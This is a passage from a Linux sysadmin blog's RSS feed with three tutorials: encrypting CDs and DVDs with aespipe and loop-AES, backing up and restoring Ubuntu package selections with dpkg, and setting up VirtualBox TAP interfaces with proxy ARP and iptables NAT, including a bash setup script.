<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Permanent Link: Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>When backing up data to a CD or DVD, you may find it useful to encrypt the entire disc just in case the media falls into the wrong hands.  Some people may advise compressing your files within tar/gzip archive and use PGP to encrypt the data, burning the resulting data to disc.  The challenge, however, is how easy it is to work with the data after the burn process.  You are typically required to decrypt and extract the archive to your hard disk if you wish to access the files within.</p>
<p>A much more flexible method for Linux users is to encrypt the entire CD or DVD with an AES symmetric key, and work with the data by simply mounting the disc.  This means you don&#8217;t have to copy the files, they are simply presented to you as you would expect with an unencrypted disc.</p>
<p><strong>Prerequisites</strong></p>
<p>Prerequisites include loading the <em>Cryptoloop</em> kernel module and the installation of the <a href="http://loop-aes.sourceforge.net/" target="_blank">Loop-AES</a> toolset.  Installing these packages in Ubuntu/Debian and loading the <em>cryptoloop</em> module is a snap.</p>
<blockquote><pre><strong>sudo apt-get install aespipe loop-aes-utils
sudo modprobe cryptoloop</strong></pre>
</blockquote>
<p>Verify that cryptoloop and AES kernel modules are loaded with <em>lsmod</em>.</p>
<blockquote><pre><strong>lsmod | grep cryptoloop</strong>
cryptoloop             10880  0
loop                   23180  1 cryptoloop

<strong>lsmod | grep aes</strong>
aes_i586               15744  2
aes_generic            35880  1 aes_i586</pre>
</blockquote>
<p>If you had to load these modules by hand, make sure to add them to <em>/etc/modules</em> so that they are loaded on boot up.</p>
<p><strong>Create, burn and mount encrypted images</strong></p>
<p>To create a standard CD image, use <em>genisofs</em> (formally known as <em>mkisofs</em>), pipe the output to <em>aespipe</em>, and redirect the final output to an ISO file.  Notice that we have specified that <em>aespipe</em> will use AES256 encryption, and it will has you to enter a password twice.  Don&#8217;t lose it!  ;)</p>
<blockquote><pre><strong>genisoimage -quiet -r Documents/ | aespipe -T -e aes256 > documents.iso</strong>
Password: (enter password)
Retype password: (enter password)</pre>
</blockquote>
<p>Mount the image using the <em>encryption</em> option.  The mounting process will ask you for the passphrase.</p>
<blockquote><pre><strong>sudo mount -o loop,encryption=aes256 documents.iso /mnt</strong>
Password: (enter password)</pre>
</blockquote>
<p>Burn the disc image, replacing <em>/dev/dvdrw</em> with the appropriate value for your system.  <em>wodim</em> was formerly known as <em>cdrecord</em>, so feel free to replace it with any command you are familiar with.</p>
<blockquote><pre><strong>wodim dev=/dev/dvdrw documents.iso</strong></pre>
</blockquote>
<p>Mount the CD/DVD using the same mount options as previously demonstrated.</p>
<blockquote><pre><strong>sudo mount -o loop,encryption=aes256 /dev/dvdrw /mnt</strong>
Password: (enter password)</pre>
</blockquote>
<p>Work with your files as you would with any normal CD or DVD.</p>
<blockquote><pre><strong>ls -l /mnt/</strong>
total 0
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile1.txt
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile2.txt
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile3.txt
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile4.txt</pre>
</blockquote>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;t=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux%20-%20http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;title=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux&amp;notes=When%20backing%20up%20data%20to%20a%20CD%20or%20DVD%2C%20you%20may%20find%20it%20useful%20to%20encrypt%20the%20entire%20disc%20just%20in%20case%20the%20media%20falls%20into%20the%20wrong%20hands.%20%20Some%20people%20may%20advise%20compressing%20your%20files%20within%20tar%2Fgzip%20archive%20and%20use%20PGP%20to%20encrypt%20the%20data%2C%20burning%20" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;title=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux&amp;bodytext=When%20backing%20up%20data%20to%20a%20CD%20or%20DVD%2C%20you%20may%20find%20it%20useful%20to%20encrypt%20the%20entire%20disc%20just%20in%20case%20the%20media%20falls%20into%20the%20wrong%20hands.%20%20Some%20people%20may%20advise%20compressing%20your%20files%20within%20tar%2Fgzip%20archive%20and%20use%20PGP%20to%20encrypt%20the%20data%2C%20burning%20" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;title=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=When%20backing%20up%20data%20to%20a%20CD%20or%20DVD%2C%20you%20may%20find%20it%20useful%20to%20encrypt%20the%20entire%20disc%20just%20in%20case%20the%20media%20falls%20into%20the%20wrong%20hands.%20%20Some%20people%20may%20advise%20compressing%20your%20files%20within%20tar%2Fgzip%20archive%20and%20use%20PGP%20to%20encrypt%20the%20data%2C%20burning%20" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;title=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux&amp;annotation=When%20backing%20up%20data%20to%20a%20CD%20or%20DVD%2C%20you%20may%20find%20it%20useful%20to%20encrypt%20the%20entire%20disc%20just%20in%20case%20the%20media%20falls%20into%20the%20wrong%20hands.%20%20Some%20people%20may%20advise%20compressing%20your%20files%20within%20tar%2Fgzip%20archive%20and%20use%20PGP%20to%20encrypt%20the%20data%2C%20burning%20" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;title=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/grub-password-security/' rel='bookmark' title='Permanent Link: GRUB Password Security'>GRUB Password Security</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Permanent Link: Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Permanent Link: Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/create-encrypted-cds-and-dvds-in-linux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Backup and Restore Package Lists in Ubuntu</title>
		<link>http://savvyadmin.com/backup-and-restore-package-lists-in-ubuntu/</link>
		<comments>http://savvyadmin.com/backup-and-restore-package-lists-in-ubuntu/#comments</comments>
		<pubDate>Sun, 19 Oct 2008 21:34:14 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=254</guid>
		<description><![CDATA[Here&#8217;s a simple tutorial on how to backup a list of all your installed repository applications, and restore them to another machine, perhaps even the same machine after a clean installation.  This can save you an incredible amount of time, especially when this task must be repeated often.  Of course, being that Ubuntu is based [...]


Related posts:<ol><li><a href='http://savvyadmin.com/useful-apt-aliases/' rel='bookmark' title='Permanent Link: Useful APT Aliases'>Useful APT Aliases</a></li>
<li><a href='http://savvyadmin.com/ubuntu-studio/' rel='bookmark' title='Permanent Link: Ubuntu Studio'>Ubuntu Studio</a></li>
<li><a href='http://savvyadmin.com/oracle-database-10g-xe-on-ubuntu/' rel='bookmark' title='Permanent Link: Oracle Database 10g XE on Ubuntu'>Oracle Database 10g XE on Ubuntu</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a simple tutorial on how to backup a list of all your installed repository applications, and restore them to another machine, perhaps even the same machine after a clean installation.  This can save you an incredible amount of time, especially when this task must be repeated often.  Of course, being that Ubuntu is based on Debian, this will work for any Debian based platform.</p>
<p>First, from a computer with all the applications preinstalled, retrieve your installed package list and redirect the output to a file called packages.txt.  Save this package list somewhere so that you can use it for the restore process.</p>
<blockquote><pre><strong>sudo dpkg --get-selections > packages.txt</strong></pre>
</blockquote>
<p>To restore all the applications from your list, you must follow a three step process very carefully.</p>
<blockquote><pre><strong>sudo dpkg --clear-selections
sudo dpkg --set-selections &lt; packages.txt
sudo aptitude install</strong></pre>
</blockquote>
<p>You will be prompted to install all the new applications in the list.</p>
<p>Another example of what this process allows you to do is create a baseline of all the applications after a clean installation of Ubuntu.  Let&#8217;s say you would like to remove any applications installed since the clean install, perform the exact same process, and any package not defined in that list will be removed.</p>
<blockquote><pre><strong>sudo dpkg --get-selections > clean-install-package-list.txt
sudo dpkg --clear-selections
sudo dpkg --set-selections < clean-install-package-list.txt
sudo aptitude install</strong></pre>
</blockquote>
<p>The very first command of &#8220;&#8211;clear-selections&#8221; marks all currently installed packages to the state &#8220;deinstall&#8221;.  When you restore the list of applications using &#8220;&#8211;set-selections&#8221;, only packages ommited from the list will remain in the &#8220;deinstall&#8221; state.  Aptitude will honor the deinstall state and remove the extra packages, leaving you only with packages from the list.  Most excellent.  :-)</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fbackup-and-restore-package-lists-in-ubuntu%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fbackup-and-restore-package-lists-in-ubuntu%2F&amp;t=Backup%20and%20Restore%20Package%20Lists%20in%20Ubuntu" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Backup%20and%20Restore%20Package%20Lists%20in%20Ubuntu%20-%20http%3A%2F%2Fsavvyadmin.com%2Fbackup-and-restore-package-lists-in-ubuntu%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fbackup-and-restore-package-lists-in-ubuntu%2F&amp;title=Backup%20and%20Restore%20Package%20Lists%20in%20Ubuntu&amp;notes=Here%27s%20a%20simple%20tutorial%20on%20how%20to%20backup%20a%20list%20of%20all%20your%20installed%20repository%20applications%2C%20and%20restore%20them%20to%20another%20machine%2C%20perhaps%20even%20the%20same%20machine%20after%20a%20clean%20installation.%C2%A0%20This%20can%20save%20you%20an%20incredible%20amount%20of%20time%2C%20especiall" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fbackup-and-restore-package-lists-in-ubuntu%2F&amp;title=Backup%20and%20Restore%20Package%20Lists%20in%20Ubuntu&amp;bodytext=Here%27s%20a%20simple%20tutorial%20on%20how%20to%20backup%20a%20list%20of%20all%20your%20installed%20repository%20applications%2C%20and%20restore%20them%20to%20another%20machine%2C%20perhaps%20even%20the%20same%20machine%20after%20a%20clean%20installation.%C2%A0%20This%20can%20save%20you%20an%20incredible%20amount%20of%20time%2C%20especiall" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Backup%20and%20Restore%20Package%20Lists%20in%20Ubuntu&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fbackup-and-restore-package-lists-in-ubuntu%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fbackup-and-restore-package-lists-in-ubuntu%2F&amp;title=Backup%20and%20Restore%20Package%20Lists%20in%20Ubuntu&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=Here%27s%20a%20simple%20tutorial%20on%20how%20to%20backup%20a%20list%20of%20all%20your%20installed%20repository%20applications%2C%20and%20restore%20them%20to%20another%20machine%2C%20perhaps%20even%20the%20same%20machine%20after%20a%20clean%20installation.%C2%A0%20This%20can%20save%20you%20an%20incredible%20amount%20of%20time%2C%20especiall" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fbackup-and-restore-package-lists-in-ubuntu%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fbackup-and-restore-package-lists-in-ubuntu%2F&amp;title=Backup%20and%20Restore%20Package%20Lists%20in%20Ubuntu&amp;annotation=Here%27s%20a%20simple%20tutorial%20on%20how%20to%20backup%20a%20list%20of%20all%20your%20installed%20repository%20applications%2C%20and%20restore%20them%20to%20another%20machine%2C%20perhaps%20even%20the%20same%20machine%20after%20a%20clean%20installation.%C2%A0%20This%20can%20save%20you%20an%20incredible%20amount%20of%20time%2C%20especiall" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fbackup-and-restore-package-lists-in-ubuntu%2F&amp;title=Backup%20and%20Restore%20Package%20Lists%20in%20Ubuntu" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/useful-apt-aliases/' rel='bookmark' title='Permanent Link: Useful APT Aliases'>Useful APT Aliases</a></li>
<li><a href='http://savvyadmin.com/ubuntu-studio/' rel='bookmark' title='Permanent Link: Ubuntu Studio'>Ubuntu Studio</a></li>
<li><a href='http://savvyadmin.com/oracle-database-10g-xe-on-ubuntu/' rel='bookmark' title='Permanent Link: Oracle Database 10g XE on Ubuntu'>Oracle Database 10g XE on Ubuntu</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/backup-and-restore-package-lists-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>VirtualBox Host Interface Networking with NAT</title>
		<link>http://savvyadmin.com/virtualbox-host-interface-networking-with-nat/</link>
		<comments>http://savvyadmin.com/virtualbox-host-interface-networking-with-nat/#comments</comments>
		<pubDate>Mon, 22 Sep 2008 02:16:40 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[VirtualBox]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=231</guid>
		<description><![CDATA[UPDATE (12/13/2009): The latest versions of VirtualBox 3 have made great improvements in their guest networking options. It is now possible to natively bridge and NAT multiple guests behind a single virtual interface. The suggestions on this post still work fairly well, so I will leave it up as there is a great deal of [...]


Related posts:<ol><li><a href='http://savvyadmin.com/virtualbox-wireless-bridging/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging'>VirtualBox Wireless Bridging</a></li>
<li><a href='http://savvyadmin.com/virtualbox-wireless-bridging-with-dhcp/' rel='bookmark' title='Permanent Link: VirtualBox Wireless Bridging with DHCP'>VirtualBox Wireless Bridging with DHCP</a></li>
<li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><strong>UPDATE (12/13/2009):</strong> The latest versions of VirtualBox 3 have made great improvements in their guest networking options. It is now possible to natively bridge and NAT multiple guests behind a single virtual interface. The suggestions on this post still work fairly well, so I will leave it up as there is a great deal of useful information that come in handy in some scenarios. Please refer to the latest VirtualBox documentation for more help on using their native networking options.</p>
<p><strong>ORIGINAL:</strong> Here&#8217;s a detailed tutorial on VirtualBox host interface networking with NAT for multiple guests.  I typically run a number of guests simultaneously for labs and product testing, so they all need internet access through my host, as well as full communication directly with each other.</p>
<p><del datetime="2009-12-13T09:15:42+00:00">The built in NAT interface of VirtualBox isn&#8217;t very flexible for what we want to do, so </del>here&#8217;s a summary what what we will do.  We&#8217;ll create three TAP interfaces, one for each guest<del datetime="2009-12-13T09:15:42+00:00">, since TAP interfaces cannot be shared by multiple guests</del>.  These interfaces will serve as each guest&#8217;s default gateway, but all of the guests will use the same address space and subnet mask.  For full communication between the guests, we&#8217;ll add appropriate host routes and enable proxy ARP on the host.  Nothing will need to be configured on the guests accept for their IP address, subnet mask, default gateway, and DNS if needed.</p>
<p>Here&#8217;s a diagram of the virtual topology, which hopefully will make things a little more clear.</p>
<p><center><strong><div id="attachment_233" class="wp-caption aligncenter" style="width: 510px"><a href="http://www.savvyadmin.com/wp-content/uploads/2008/09/virtualbox-host-nat.png"><img class="size-full wp-image-233" title="virtualbox-host-nat" src="http://www.savvyadmin.com/wp-content/uploads/2008/09/virtualbox-host-nat.png" alt="VirtualBox Host Interface NAT Topology" width="500" height="272" /></a><p class="wp-caption-text">VirtualBox Host Interface NAT Topology</p></div></strong></center></p>
<p><strong>Getting Started</strong></p>
<p>You&#8217;ll need to install the User Mode Linux utilities first, if you have done so already.</p>
<blockquote><pre><strong>sudo apt-get install uml-utilities</strong></pre>
</blockquote>
<p><strong>TAP interfaces</strong></p>
<p>Let&#8217;s create three TAP interfaces.</p>
<blockquote><pre><strong>sudo tunctl -u $USER
sudo tunctl -u $USER
sudo tunctl -u $USER</strong></pre>
</blockquote>
<p>Assign IP addresses to the TAP interfaces.</p>
<blockquote><pre><strong>sudo ip addr add 192.168.20.1/32 dev tap0
sudo ip addr add 192.168.20.2/32 dev tap1
sudo ip addr add 192.168.20.3/32 dev tap2
sudo ip link set tap0 up
sudo ip link set tap1 up
sudo ip link set tap2 up</strong></pre>
</blockquote>
<p><strong>Routing Requirements</strong></p>
<p>Enable routing and add host routes for each of the guest IP addresses. </p>
<blockquote><pre><strong>sudo sysctl net.ipv4.ip_forward=1
sudo route add -host 192.168.20.201 dev tap0
sudo route add -host 192.168.20.202 dev tap1
sudo route add -host 192.168.20.203 dev tap2</strong></pre>
</blockquote>
<p><strong>Proxy ARP</strong></p>
<p>Enable proxy ARP on all TAP interfaces so that all the guests can communicate with each other.</p>
<blockquote><pre><strong>sudo sysctl net.ipv4.conf.tap0.proxy_arp=1
sudo sysctl net.ipv4.conf.tap1.proxy_arp=1
sudo sysctl net.ipv4.conf.tap2.proxy_arp=1</strong></pre>
</blockquote>
<p>Notice, it is NOT necessary to enable proxy ARP on the public interface, since we will be using NAT for guests to access the public network and internet.</p>
<p><strong>NAT Configuration</strong></p>
<p>First flush all iptables rules and enable NAT on the public interface.</p>
<blockquote><pre><strong>sudo iptables --flush
sudo iptables -t nat --flush
sudo iptables -t nat -A POSTROUTING --out-interface eth0 -j MASQUERADE
sudo iptables -A FORWARD --in-interface tap0 -j ACCEPT
sudo iptables -A FORWARD --in-interface tap1 -j ACCEPT
sudo iptables -A FORWARD --in-interface tap2 -j ACCEPT</strong></pre>
</blockquote>
<p>Now it&#8217;s just a matter of configuring each of your guests to use the appropriate host interface as shown in the screenshot below.</p>
<p><center><a href="http://www.savvyadmin.com/wp-content/uploads/2008/11/vb-assign-guest-to-host-interface.png"><img src="http://www.savvyadmin.com/wp-content/uploads/2008/11/vb-assign-guest-to-host-interface-300x245.png" alt="" title="vb-assign-guest-to-host-interface" width="300" height="245" class="aligncenter size-medium wp-image-282" /></a></center></p>
<p>After assigning the guest to an interface, configure the guest operating system with the appropriate IP address and routing information.  The following list will show the IP address configuration each guest should use for this example.</p>
<blockquote><pre><strong>Guest 1</strong>
Host interface: tap0
IP Address: 192.168.20.201
Subnet Mask: 255.255.255.0
Gateway: 192.168.20.1
DNS: Any reachable DNS server.

<strong>Guest 2</strong>
Host interface: tap1
IP Address: 192.168.20.202
Subnet Mask: 255.255.255.0
Gateway: 192.168.20.2
DNS: Any reachable DNS server.

<strong>Guest 3</strong>
Host interface: tap2
IP Address: 192.168.20.203

Subnet Mask: 255.255.255.0
Gateway: 192.168.20.3
DNS: Any reachable DNS server.</pre>
</blockquote>
<p>And that&#8217;s it.  Your guests should all be able to ping each other, and access the internet!  </p>
<p>To make things easy, I have also created the following Bash shell script that creates and tears down the environment with ease.  Modify settings to your liking.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #666666; font-style: italic;"># tap-setup.sh</span>
<span style="color: #666666; font-style: italic;"># By Gilbert Mendoza</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># Change username accordingly</span>
<span style="color: #007800;">USER</span>=<span style="color: #ff0000;">&quot;gmendoza&quot;</span>
<span style="color: #007800;">PROXY</span>=<span style="color: #ff0000;">&quot;tap0 tap1 tap2&quot;</span>
<span style="color: #007800;">TAPS</span>=<span style="color: #ff0000;">&quot;tap0 tap1 tap2&quot;</span>
<span style="color: #007800;">NAT_OUT</span>=<span style="color: #ff0000;">&quot;eth0 wlan0&quot;</span>
&nbsp;
ip_setup<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
ip addr add 192.168.20.1<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">32</span> dev tap0
ip addr add 192.168.20.2<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">32</span> dev tap1
ip addr add 192.168.20.3<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">32</span> dev tap2
route add <span style="color: #660033;">-host</span> 192.168.20.201 dev tap0
route add <span style="color: #660033;">-host</span> 192.168.20.202 dev tap1
route add <span style="color: #660033;">-host</span> 192.168.20.203 dev tap2
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
nat_setup<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
iptables <span style="color: #660033;">--flush</span>
iptables <span style="color: #660033;">-t</span> nat <span style="color: #660033;">--flush</span>
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$NAT_OUT</span>
 <span style="color: #000000; font-weight: bold;">do</span>
   iptables <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-A</span> POSTROUTING <span style="color: #660033;">--out-interface</span> <span style="color: #007800;">$i</span> <span style="color: #660033;">-j</span> MASQUERADE
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$TAPS</span>
 <span style="color: #000000; font-weight: bold;">do</span>
   iptables <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">--in-interface</span> <span style="color: #007800;">$i</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
tap_up<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
tunctl <span style="color: #660033;">-u</span> <span style="color: #007800;">$USER</span>
tunctl <span style="color: #660033;">-u</span> <span style="color: #007800;">$USER</span>
tunctl <span style="color: #660033;">-u</span> <span style="color: #007800;">$USER</span>
sysctl net.ipv4.ip_forward=<span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$PROXY</span>
 <span style="color: #000000; font-weight: bold;">do</span> 
   sysctl net.ipv4.conf.<span style="color: #007800;">$i</span>.proxy_arp=<span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$TAPS</span>
 <span style="color: #000000; font-weight: bold;">do</span>
   ip <span style="color: #c20cb9; font-weight: bold;">link</span> <span style="color: #000000; font-weight: bold;">set</span> <span style="color: #007800;">$i</span> up
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
tap_down<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
sysctl net.ipv4.ip_forward=<span style="color: #000000;">0</span>
iptables <span style="color: #660033;">--flush</span>
iptables <span style="color: #660033;">-t</span> nat <span style="color: #660033;">--flush</span>
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$PROXY</span>
 <span style="color: #000000; font-weight: bold;">do</span>
   sysctl net.ipv4.conf.<span style="color: #007800;">$i</span>.proxy_arp=<span style="color: #000000;">0</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #007800;">$TAPS</span>
